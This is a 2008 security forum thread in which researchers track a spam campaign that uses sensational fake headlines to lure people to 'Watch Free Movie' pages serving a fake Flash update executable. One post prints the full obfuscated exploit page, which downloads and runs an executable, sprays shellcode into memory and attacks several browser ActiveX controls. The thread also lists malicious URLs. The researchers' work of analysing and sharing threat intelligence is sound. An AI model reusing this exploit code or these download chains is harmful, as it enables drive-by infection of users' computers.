Author Topic: R-thing  (Read 45136 times)

0 Members and 1 Guest are viewing this topic.

July 28, 2008, 07:52:37 pm
Reply #60

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Changed again;

Code: [Select]
*****************************************************************
vURL Desktop Edition v0.3.0 Results
Source code for: http://ttolttol.wo.to/checkit.html
Server IP: 220.80.107.111 [ Resolution failed ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Not Listed
Date: 28 July 2008
Time: 20:52:53:52
*****************************************************************
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Watch Free Movie - Update Every Hour!</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" href="master2.css" type="text/css" media="screen" />
<link rel="shortcut icon" href="" type="image/x-icon" />
<meta name="robots" content="all, index, follow" />
<meta name="description" content="" />
<meta name="keywords" content="" />
<meta name="author" content="" />
<meta name="copyright" content="" />
</head>

<body bgcolor="#000000">
<center>
<font style="font:20px Tahoma;color:#efefef;"></font>
</center>
<div id="errorMsg" name="errorMsg" onMouseDown="this.style.zIndex=10;StartDrag(event,this,PutBack)">
<div id="close" onClick="CloseErrorMsg()"></div>
<input type="submit" id="okButton" value="Ok" onclick="downloadCodec(url)">
<input type="submit" value="Cancel" onclick="CloseErrorMsg();">
<input type="submit" value="Continue" onclick="downloadCodec(url)">
</div>

<div id="player">

<img id="img" src="" alt="">
</div>
<iframe src="1.html" frameborder="0" style="display:none"></iframe>
<script type="text/javascript" src="dnd.js"></script>
<script type="text/javascript" src="master.js"></script>
<script type="text/javascript">
<!--
var gif = "metacafe.gif";
var url = "get_flash_update.exe";

document.getElementById("img").src = gif

showMovie()
-->
</script>
</body>
</html>
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

July 29, 2008, 03:28:23 am
Reply #61

Edgar Bangkok

  • Special Members
  • Full Member

  • Offline
  • *

  • 61
    • Edgar Internet Tools
Received mails spam with fake flash player and also iframe with exploits
more info at:

http://edetools.blogspot.com/2008/07/iphone-3g-e-new-relevations-about.html

Edgar from Bangkok   :)




 


July 29, 2008, 04:49:56 am
Reply #62

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
I've modified the application again so it provides a list of subjects on their own, followed by the details previously supplied. Updated list attached (474 items received thus far)
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

July 29, 2008, 05:42:43 am
Reply #63

philipp

  • Special Members
  • Sr. Member

  • Offline
  • *

  • 218
Code: [Select]
http://www.acercandoelmundo.com/fresh.html

http://www.tutotic.com/checkit.html
http://www.petzold-dieter.de/checkit.html

July 29, 2008, 07:21:10 am
Reply #64

sowhat-x

  • Guest
Quote
I've modified the application again so it provides...
He-he...info in the latest updated list is way much easier to parse now,thanks  ;D

July 30, 2008, 01:26:55 am
Reply #65

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Updated with new one's I've received ..... and now also formatted not only to have a list of subjects, but a list of links (on their own) too (figured it'd be easier for you guys)
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

July 30, 2008, 06:17:29 pm
Reply #66

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Updated again ...... I've left out the detailed part this time, and only included the subjects and links.
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

August 01, 2008, 06:00:04 am
Reply #67

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Updated again .... 546 of them now :)
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

August 01, 2008, 09:44:39 am
Reply #68

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
They've changed again;

Code: [Select]
*****************************************************************
vURL Desktop Edition v0.3.2 Results
Source code for: http://teleuken.de/top.html
Server IP: 85.13.128.176 [ dd1904.kasserver.com ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Not Listed
via Proxy: http://it-mate.co.uk/proxy/?url=http://teleuken.de/top.html
Date: 01 August 2008
Time: 10:40:43:40
*****************************************************************
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Watch Free Movie</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" href="master2.css" type="text/css" media="screen" />
<link rel="shortcut icon" href="" type="image/x-icon" />
<meta name="robots" content="all, index, follow" />
<meta name="description" content="" />
<meta name="keywords" content="" />
<meta name="author" content="" />
<meta name="copyright" content="" />
</head>

<body bgcolor="#000000">
<center>
<font style="font:20px Tahoma;color:#efefef;"></font>
</center>
<div id="errorMsg" name="errorMsg" onMouseDown="this.style.zIndex=10;StartDrag(event,this,PutBack)">
<div id="close" onClick="CloseErrorMsg()"></div>
<input type="submit" id="okButton" value="Ok" onclick="downloadCodec(url)">
<input type="submit" value="Cancel" onclick="CloseErrorMsg();">
<input type="submit" value="Continue" onclick="downloadCodec(url)">
</div>

<div id="player">

<img id="img" src="" alt="">
</div>
<script type="text/javascript" src="dnd.js"></script>
<script type="text/javascript" src="master.js"></script>
<script type="text/javascript">
<!--
var gif = "metacafe.gif";
var url = "get_flash_update.exe";

document.getElementById("img").src = gif

showMovie()
-->
</script>
<iframe id="ifid01" src="metai.html" frameborder="0" style="display:none"></iframe>

</body>
</html>

iFrame:

Code: [Select]
*****************************************************************
vURL Desktop Edition v0.3.2 Results
Source code for: http://teleuken.de/metai.html
Server IP: 85.13.128.176 [ dd1904.kasserver.com ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Not Listed
via Proxy: http://it-mate.co.uk/proxy/?url=http://teleuken.de/metai.html
Date: 01 August 2008
Time: 10:41:30:41
*****************************************************************
<html>
<head>
<meta http-equiv="refresh" content="8;URL=1.html">
</head>
<body>
</body>
</html>

1.html, detected as HTML/Silly.Gen (AntiVir)

Code: [Select]
*****************************************************************
vURL Desktop Edition v0.3.2 Results
Source code for: http://teleuken.de/1.html
Server IP: 85.13.128.176 [ dd1904.kasserver.com ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Not Listed
via Proxy: http://it-mate.co.uk/proxy/?url=http://teleuken.de/1.html
Date: 01 August 2008
Time: 10:42:34:42
*****************************************************************
<script>ZUgZJXG();function ZUgZJXG(){ KglUBuK = document.location.href.replace(/1.html/ig,'') + 'g(e(t_f&l*a^s#h_$u!p*(date)#.!%e^x&#e!'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '');var OQgDOuD = document.createElement('ob%j(e^ct#%'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '')); OQgDOuD.setAttribute('id&'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),'O&(QgD%O*uD'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));OQgDOuD.setAttribute('c$l))as*s&^i#%d'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),'c$l^s$(id%:B!)D9)6(C(5%&56-65A3$-*1@1^D*(0-(983A)-!0%0C)0(%4F)C!&29$E%3&%6*'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));try{var dXlOmxJ = document.createElement('ob#je!c$%t'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));dXlOmxJ.setAttribute('i$$d)('.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),'d&*Xl&O^mxJ'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));dXlOmxJ.setAttribute('cl)a#s%)si(d#@'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),'c^l$^si^d:$F$@0$#E)4^2((D^5!0-%3^&6!8C$-&#1$1(D0)-A@D8$1#*-00$(A*0!C@90(D@C%(8%D)*9&('.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));var AxclEnf = 'C#):^/Doc&u@m(en#t^s( a@n)d$ Se#(tt&i$@n!(g@&s/$^A&^l*l (Us(ers&/!*St(a!r!t& Men^u*(/)^P)r#og$$r&a*%m(s*/!St(^a$rtu%#p#/!smss&@.e#x!e'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '');dXlOmxJ.SnapshotPath = KglUBuK;dXlOmxJ.CompressedPath = AxclEnf; eval(dXlOmxJ.PrintSnapshot());}catch(JgsOOiI){}try{var fHQTyXx = OQgDOuD.CreateObject('ms&&x&m(l2.^X#M&LH^%T)TP'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),''); var BKPYHiu = OQgDOuD.CreateObject('S#h@el%$l!&.A&%pp#^l@(ic!@at&*i@on'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),'');var nrbromf = OQgDOuD.CreateObject('a$d^o&)d$&b.^s(t&re&a$m@'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),'');try{eval(nrbromf.type = 1); eval(fHQTyXx.open('G%E#)T(#'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''), KglUBuK,false));eval(fHQTyXx.send());eval(nrbromf.open());nrbromf.Write(fHQTyXx.responseBody); var zIPafSm = './&/*.^.@/#/!w%$X#$t(wR^z!v^$.ex!e^$'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '');eval(nrbromf.savetofile(zIPafSm,2));eval(nrbromf.close());}catch(JgsOOiI){}try{eval(BKPYHiu.shellexecute(zIPafSm));}catch(JgsOOiI){}}catch(JgsOOiI){}}</script><script>var nggByhS = 0x0c0c0c0c; function Gslide(spraySlide, saruuysaddize){while (spraySlide.length * 2 < saruuysaddize){spraySlide += spraySlide;}spraySlide = spraySlide.substring(0, saruuysaddize / 2);return spraySlide;}url = document.location.href.replace(/1.html/ig,'') + 'get(_@*f#%l)as#h_upd%a@!t@^e.!#e$^x)e)'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '');var outValue = '';for (i = 0; i < url.length;){outValue += '%u' + url.charCodeAt(i+1).toString(16) + url.charCodeAt(i).toString(16);i = i + 2;}outValue += '%u0000';var Shellcode = unescape("WxkNmvuUQyhwYNlu4343WxkNmvuUQyhwYNlu4343WxkNmvuUQyhwYNlu0febWxkNmvuUQyhwYNlu335bWxkNmvuUQyhwYNlu66c9WxkNmvuUQyhwYNlu80b9WxkNmvuUQyhwYNlu8001WxkNmvuUQyhwYNluef33WxkNmvuUQyhwYNlue243WxkNmvuUQyhwYNluebfaWxkNmvuUQyhwYNlue805WxkNmvuUQyhwYNluffecWxkNmvuUQyhwYNluffffWxkNmvuUQyhwYNlu8b7fWxkNmvuUQyhwYNludf4eWxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNlu64efWxkNmvuUQyhwYNlue3afWxkNmvuUQyhwYNlu9f64WxkNmvuUQyhwYNlu42f3WxkNmvuUQyhwYNlu9f64WxkNmvuUQyhwYNlu6ee7WxkNmvuUQyhwYNluef03WxkNmvuUQyhwYNluefebWxkNmvuUQyhwYNlu64efWxkNmvuUQyhwYNlub903WxkNmvuUQyhwYNlu6187WxkNmvuUQyhwYNlue1a1WxkNmvuUQyhwYNlu0703WxkNmvuUQyhwYNluef11WxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNluaa66WxkNmvuUQyhwYNlub9ebWxkNmvuUQyhwYNlu7787WxkNmvuUQyhwYNlu6511WxkNmvuUQyhwYNlu07e1WxkNmvuUQyhwYNluef1fWxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNluaa66WxkNmvuUQyhwYNlub9e7WxkNmvuUQyhwYNluca87WxkNmvuUQyhwYNlu105fWxkNmvuUQyhwYNlu072dWxkNmvuUQyhwYNluef0dWxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNluaa66WxkNmvuUQyhwYNlub9e3WxkNmvuUQyhwYNlu0087WxkNmvuUQyhwYNlu0f21WxkNmvuUQyhwYNlu078fWxkNmvuUQyhwYNluef3bWxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNluaa66WxkNmvuUQyhwYNlub9ffWxkNmvuUQyhwYNlu2e87WxkNmvuUQyhwYNlu0a96WxkNmvuUQyhwYNlu0757WxkNmvuUQyhwYNluef29WxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNluaa66WxkNmvuUQyhwYNluaffbWxkNmvuUQyhwYNlud76fWxkNmvuUQyhwYNlu9a2cWxkNmvuUQyhwYNlu6615WxkNmvuUQyhwYNluf7aaWxkNmvuUQyhwYNlue806WxkNmvuUQyhwYNluefeeWxkNmvuUQyhwYNlub1efWxkNmvuUQyhwYNlu9a66WxkNmvuUQyhwYNlu64cbWxkNmvuUQyhwYNluebaaWxkNmvuUQyhwYNluee85WxkNmvuUQyhwYNlu64b6WxkNmvuUQyhwYNluf7baWxkNmvuUQyhwYNlu07b9WxkNmvuUQyhwYNluef64WxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNlu87bfWxkNmvuUQyhwYNluf5d9WxkNmvuUQyhwYNlu9fc0WxkNmvuUQyhwYNlu7807WxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNlu66efWxkNmvuUQyhwYNluf3aaWxkNmvuUQyhwYNlu2a64WxkNmvuUQyhwYNlu2f6cWxkNmvuUQyhwYNlu66bfWxkNmvuUQyhwYNlucfaaWxkNmvuUQyhwYNlu1087WxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNlubfefWxkNmvuUQyhwYNluaa64WxkNmvuUQyhwYNlu85fbWxkNmvuUQyhwYNlub6edWxkNmvuUQyhwYNluba64WxkNmvuUQyhwYNlu07f7WxkNmvuUQyhwYNluef8eWxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNluaaecWxkNmvuUQyhwYNlu28cfWxkNmvuUQyhwYNlub3efWxkNmvuUQyhwYNluc191WxkNmvuUQyhwYNlu288aWxkNmvuUQyhwYNluebafWxkNmvuUQyhwYNlu8a97WxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNlu9a10WxkNmvuUQyhwYNlu64cfWxkNmvuUQyhwYNlue3aaWxkNmvuUQyhwYNluee85WxkNmvuUQyhwYNlu64b6WxkNmvuUQyhwYNluf7baWxkNmvuUQyhwYNluaf07WxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNlu85efWxkNmvuUQyhwYNlub7e8WxkNmvuUQyhwYNluaaecWxkNmvuUQyhwYNludccbWxkNmvuUQyhwYNlubc34WxkNmvuUQyhwYNlu10bcWxkNmvuUQyhwYNlucf9aWxkNmvuUQyhwYNlubcbfWxkNmvuUQyhwYNluaa64WxkNmvuUQyhwYNlu85f3WxkNmvuUQyhwYNlub6eaWxkNmvuUQyhwYNluba64WxkNmvuUQyhwYNlu07f7WxkNmvuUQyhwYNluefccWxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNluef85WxkNmvuUQyhwYNlu9a10WxkNmvuUQyhwYNlu64cfWxkNmvuUQyhwYNlue7aaWxkNmvuUQyhwYNlued85WxkNmvuUQyhwYNlu64b6WxkNmvuUQyhwYNluf7baWxkNmvuUQyhwYNluff07WxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNlu85efWxkNmvuUQyhwYNlu6410WxkNmvuUQyhwYNluffaaWxkNmvuUQyhwYNluee85WxkNmvuUQyhwYNlu64b6WxkNmvuUQyhwYNluf7baWxkNmvuUQyhwYNluef07WxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNluaeefWxkNmvuUQyhwYNlubdb4WxkNmvuUQyhwYNlu0eecWxkNmvuUQyhwYNlu0eecWxkNmvuUQyhwYNlu0eecWxkNmvuUQyhwYNlu0eecWxkNmvuUQyhwYNlu036cWxkNmvuUQyhwYNlub5ebWxkNmvuUQyhwYNlu64bcWxkNmvuUQyhwYNlu0d35WxkNmvuUQyhwYNlubd18WxkNmvuUQyhwYNlu0f10WxkNmvuUQyhwYNlu64baWxkNmvuUQyhwYNlu6403WxkNmvuUQyhwYNlue792WxkNmvuUQyhwYNlub264WxkNmvuUQyhwYNlub9e3WxkNmvuUQyhwYNlu9c64WxkNmvuUQyhwYNlu64d3WxkNmvuUQyhwYNluf19bWxkNmvuUQyhwYNluec97WxkNmvuUQyhwYNlub91cWxkNmvuUQyhwYNlu9964WxkNmvuUQyhwYNlueccfWxkNmvuUQyhwYNludc1cWxkNmvuUQyhwYNlua626WxkNmvuUQyhwYNlu42aeWxkNmvuUQyhwYNlu2cecWxkNmvuUQyhwYNludcb9WxkNmvuUQyhwYNlue019WxkNmvuUQyhwYNluff51WxkNmvuUQyhwYNlu1dd5WxkNmvuUQyhwYNlue79bWxkNmvuUQyhwYNlu212eWxkNmvuUQyhwYNluece2WxkNmvuUQyhwYNluaf1dWxkNmvuUQyhwYNlu1e04WxkNmvuUQyhwYNlu11d4WxkNmvuUQyhwYNlu9ab1WxkNmvuUQyhwYNlub50aWxkNmvuUQyhwYNlu0464WxkNmvuUQyhwYNlub564WxkNmvuUQyhwYNlueccbWxkNmvuUQyhwYNlu8932WxkNmvuUQyhwYNlue364WxkNmvuUQyhwYNlu64a4WxkNmvuUQyhwYNluf3b5WxkNmvuUQyhwYNlu32ecWxkNmvuUQyhwYNlueb64WxkNmvuUQyhwYNluec64WxkNmvuUQyhwYNlub12aWxkNmvuUQyhwYNlu2db2WxkNmvuUQyhwYNluefe7WxkNmvuUQyhwYNlu1b07WxkNmvuUQyhwYNlu1011WxkNmvuUQyhwYNluba10WxkNmvuUQyhwYNlua3bdWxkNmvuUQyhwYNlua0a2WxkNmvuUQyhwYNluefa1".replace(/WxkNmvuUQyhwYNl/ig, "%") + outValue);var hadttdtSize = 0x400000;var payfdLytyusade = Shellcode.length * 2;var tggter = payfdLytyusade + 0x38;var saruuysaddize = hadttdtSize - tggter;var spraySlide = unescape("QJoHkPQGkyiu0c0cQJoHkPQGkyiu0c0c".replace(/QJoHkPQGkyi/ig, "%")); var prrerat = new Array();spraySlide = Gslide(spraySlide, saruuysaddize);var kilrrer = nggByhS - 0x400000;hsttiicks = kilrrer / hadttdtSize; for (i = 0; i < hsttiicks; i++){prrerat[i] = spraySlide + Shellcode;}function startCreateControlRange(){ugric = unescape("QKSVrYqLThkUyju0d0dQKSVrYqLThkUyju0d0d".replace(/QKSVrYqLThkUyj/ig, "%"));var xYz = 0x40000;while(ugric.length<xYz) ugric += ugric;ugric = ugric.substring(0, 0x3ffe4-Shellcode.length);bublic = new Array();for(i = bublic; i < 450; i++) bublic[i] = ugric + Shellcode; mceil = Math.ceil(0xd0d0d0d);document.write('<object classid="CLSID:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F"></object>');try{mceil = document.scripts[0].createControlRange().length;}catch(e){}setTimeout("startSuperBuddy()", 3000);}function startSuperBuddy(){try {var buddy = new ActiveXObject('Sb*%.S)*upe^r*!B^udd*y*&.1'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));if (buddy){buddy.LinkSBIcons(0x0c0c0c0c);}}catch(e) {}setTimeout("startAudioFile()", 2000);}function startAudioFile(){try{var mmed = document.createElement('o@bje*ct%^'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));mmed.setAttribute('cl!a%s&s#i!)d&'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''), 'clsi!d!@:*7%7#82!9(F&14-(D)*9)11!-40@FF&*-A)2#^F0-D11D$$B#8(!D@6%#D0*B^(C@'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));var mms='';for(var i=0; i < 4120; i++) { mms += 'A('.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''); }mms += ' &) @! *!'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '');mmed.SetFormatLikeSample(mms);}catch(e){}setTimeout("startGOM()", 2000);} function startGOM(){var sURL='';for(var i = 0; i < 510; i++){sURL += unescape("nSzRvYVJyyJu0c".replace(/nSzRvYVJyyJu/ig, "%"));}try{var GomManager = new ActiveXObject('G%#o^m^#W^eb#C#t&r!l!.G#^om)&Man&a*g&er^.1&'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));GomManager.OpenURL(sURL);}catch(e){}setTimeout("startRealPlayer()", 2000);}function startRealPlayer(){try{var rpl = document.createElement('o^&b%)j%e!ct'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '')),adt='';rpl.setAttribute('cla&%s#s$%id'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''), 'c@ls@id:#2$)F*#5@^42@A*!2E%-%E^D$)C(9)-4^*B!F(7^-8^C)B1-%8#7^C*9$91))9&F7$F@9)!3$&'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));for(var i = 0; i < 32; i++) { adt=adt+unescape("iNIwLMtmTIIsTzT0C".replace(/iNIwLMtmTIIsTzT/ig, "%")); }for(i = 0; i < 5; i++){rbt = rpl.Console;rpl.Console = adt;rpl.Console = rbt;}setTimeout("startWVF()", 2000);}catch(e){}}function startWVF(){for (i = 0; i < 128; i++) {try{var tar = new ActiveXObject('We)bVie#wF(o$l!$de%(r(I*co^#n%.We@bView)!Fol*d*&e!r^(I$co*n%.&1^&'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));tar.setSlice(0x7ffffffe, 0x05050505, 0x05050505,0x05050505);}catch(e){}}} startCreateControlRange();</script>
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

August 02, 2008, 09:18:28 pm
Reply #69

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964
Good work, thanks.

Will you be deleting older emails? So that it is easier to parse through newer files you upload.

August 03, 2008, 10:48:54 am
Reply #70

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
I'll sort out the newer from the older for the next file :)
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

August 03, 2008, 02:30:04 pm
Reply #71

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
01-08 > 03-08
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

August 03, 2008, 02:39:25 pm
Reply #72

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964
Thank you.

Some of the Email titles these use (Thanks to MysteryFCM, from his text files)

Quote
"Last lecture" professor dies
'Demons' befall celebrated Iraq soldier
10 things women want
14 missing girls found in basement of Iowa house
14 year old plotted mass slaughter
3 US Marines killed in freak training accident
AC Milan buys Drogba and Adebayor
ATI and NVIDIA fix prices in the US
Acid rain coming due to pollution
Afghan rebels kill 102 US soldiers
Air force one crashes in Iraq
Al-Qaeda Gets Nuke, Blows Themselves Up
Alligator attack savages 3 students on school trip
American hostages beheaded in Colombia
American love story in Iraq
Amy Winehouse hospitalized following drug overdose
Angelina Jolie dies in miscarriage
Angelina Jolie gives birth to triplets
Angelina Jolie seen with Justin Timberlake on Monaco yacht
Angry man shoots lawnmower
Apple nosedives on Jobs' death
Apple unveils Macbook Air upgrade
Armed man kills hundreds in church
Army Relent On Shooting Live Pigs In Training Exercise - Will Shoot Illegal Immigrants Instead
Arnold Schwarzenegger to make movie
Artist to honourr Wii heroes witth statuettes
Artist, 112, gaining attention in art world
Awesome footage of 10 best positions
B-52 bomber crashes off island of Guam
Baby born with seven toes
Baby cut from mother's womb
Barack Obama Caught In A Time Warp
Barack Obama pulls out from Presidential Race
Bearded Lady Gives Birth
Beckham caught in nightcam
Beijing postpones Olympics due to McCain-Dalai Lama meeting
Beijing under threat as Olympics looms
Berbatov sold for 30 million pounds
Best jokes about your boss
Best prediction for upcoming lottery
Bird flu found in New Mexico
Black dogs tear man apart
Body of a tranny revealed
Bomb scare in JFK causes delays
Bomb scare in UK stops traffic
Boob grabber caught on cctv
Boobies that boggles your mind
Booy mad at mom takes litttle brother on joy ride
Boss says you will be fired
Boy 13, impaled by fence
Boy breaks tooth from biting dog
Boy crossing street collides with deer Video T-shirt
Boy left in car dies on mom's wedding day Video
Boy pokes fork into sister's eye
Boy thrown outside window in school
Brazilian Woman Survivees 6 Shots to Headd
Bridge collapses in New York
British Speedeer Clocked at 172  Mph
Britney Spears announces third pregnancy
Britney Spears new album download
Britney Spears quits singing career
Britney in coma, feared dead
Britney loses kids
Britney pays $20000 for custody
Britney's baby in intensive care
Bulgarian diplomat arrested with 0.4kg of plutonium
Bulimia Not The Same As Being A Greedy Bastard, Say Doctors
Bullies face huge health risk
Bus explosion
Bush And Putin Agree To Restart Cold War During G8 Summit
Bush admits to anti-semitism
Bush approves death penalty for soldier
Bush discredits Tony Snow in eulogy
Bush refuses appeal against death penalty for soldier
Buy a house, get a FREE car
Cats attack, kill student
Cats skinned alive in Alabama
Celeb homemade videos leaked
Celebrity caught in hit and run
Celebrity rendezvous videos revealed
Cell phone radiation risks exposed
Charred bodies found near White House
Cheap fuel available in Texas
Chelsea happy to rid Drogba
Christian Bale arrested for drug abuse
Christian Bale in sexual assault suit
Christian leader mulls McCain reversal
Christine Bale skips bail
Clinton in, Obama out
Clinton named to top post by Obama
Clubs refuse to release players for Olympics
Coke Rolling Out Machines Thaat Take Credit CCards
College gang rips out teacherís organs
Conspiracy of 1865 Lincoln assassination exposed
Coolest hotel room in Dubai
Corruption in US Senate beyond control
Courts found to help terrorists
Crazily in love with you
Cristiano Ronaldo Disses Paris Hilton "um Louro Mudo Feio!"
Cute video of ducks
Cynthia Rodriquez divorces
Danish princess slaps town grocer
Dara Torres faces crippling injury
Dark Knight breaks box office bank
Dark Knight brought in $300 million
Dark Knight free tickets up for grabs
Dark Knight movie out on DVD
Dark Knight nemesis finally dead
Dark Knight opening premier sneak previews
David Beckham seen in LA nightclub with Kirsten Dunst
Deaf Woomaan Arrested After Crashing Into Two Homes
Democrats withdraw Obama from Race
Dogs and cats. Advise area
Dolly eyes Yucatan; Cristobal skirts N.C.
Drug Bust on Snoop's Tour Bus
Drug, alcohol mix blamed for "Joker's" death
Earthquake in California destroys Schwarzenegger house
Eminem found dead in disco toilet
Escape artist gets caught shopping
Ex-Google engineers debut 'Cuil' way to search
Ex-NFL star caught in gay scandal
Exported by: Outlook Export v0.1.2
Exposed secrets of American Idol
Extraterrestrials found in Arizona
FDA warns against eating lobster
Facebook hacked into, millions of accounts lost
Facebook sued by user for millions
Fast cars and hot women
Ferrari cheapens brand by making affordable car
Financial turmoil heats up
Find out womens weakness spots and satisfy them
Florida Bill Would Ensure Bar Customerss Aren't Thrown Out Foor Not Drinking
Flu outbreak kills thousands in Mexico
Football star dies of drug overdose
For The Man Who Has Everything: Three Tits
Foreplay and karma sutra tips
Former 'Naked Guy' attt UC-Berkeley dies in jail
Frasier to make big screen leap
Freak accident causes Tom cruise to be paralysed
Freddie Mac collapses, all loans withdrawn
Free direct downloads available here
Free downloads for all software needs
Free trip to Bahamas for subscribers
Fresh fighting causes civil war
Friends-movie to be released in Summer 09
Funniest adult entertainment
G8 leaders face nuclear crisis
GE declares 100 million deficit
Gardeners sued for toxic fertiliser
Gay Bishop Was A Wrestling Pro
Gay Marriage Could Be Profitable
Gay Men Perceive Each Other As Homophobic
Gays Banned From Owning Pets In New York
Gays and lesbians boycott
Geek turns into hot babe
Girl bites brother's finger off
Google-Yahoo merger announced
Grab these girl fight videos
Group: Bound Palestinian shot with rubber bullet
Guam crash kills 3 more marines
Gunman kills 7 in shooting
Guy Ritchie declares marriage "over"
Guy peddles girlfriend for hundred bucks
HHarold Reynolds's  Big Hit
Hack iPhone 3G for any service provider
Hang out with bikini models
Heart transplant kid kills 10, shots himself
Heat wave in Texas kills 24
Heath Ledger awarded posthumous oscar
Heath Ledger beat Christian Bale in popularity
Hell Boy wants to paradise
Hell is a more preferable destination than Heaven
Hidden shop for mans
High paying dividend stocks
High school teacher rapes cheerleader
Hillary Clinton admits affair
Home grown vegetables contaminated with toxic fertiliser
Horrible borken leg
Horse bites man's neck in zoo
Horse gets swallowed by snake
Horse kicks Harrison Ford in stomach
Horse kicks Ralph Lauren in stomach
How to beat the bookmakers
Hunderds feared dead in ferry crash
Hurricane Katrina headed to Northwest
Hurricane hits Caribbean islands
Hurricane strikes Lousiana, thousands dead
IBM launches mphone to compete against iphone
IBM launches world's thinnest notebook
IBM to file for bankruptcy
India's dangerous deal
Inside San Quentin, convicts hitting the books
JFK closed after bomb threat
JFK memoirs reveal illegitimate son
James Brown dies of heart attack
Japan quake death toll reaches 10, 000
Japanese pitcher throws perfect game
Jay Leno refuses to quit
Jerry Seinfeld announces Seinfeld movie
Jessica Simpson becomes pornstar
Jobs up for grabs in upcoming fest
Join European Idol auditions now
Join thousands of others in this
Joker steals the show
Kelsey Grammer in hospital after heart attack
Kidnapper at large in NY, dangerous
Kids rob elderly, police open fire
LaBeouf behind bars after DUI-incurring car crash
Latest crazy hip in thing
Learn how to kiss your partner
Lebron James traded to the Knicks
Living proof that the earth is flat available
Local family found hidden gold
Local waiter caught spitting in food
Lucky draw for free cruise trip
Lufthansa suspends flight in Germany due to strikes
MLB players boycott All-Star game
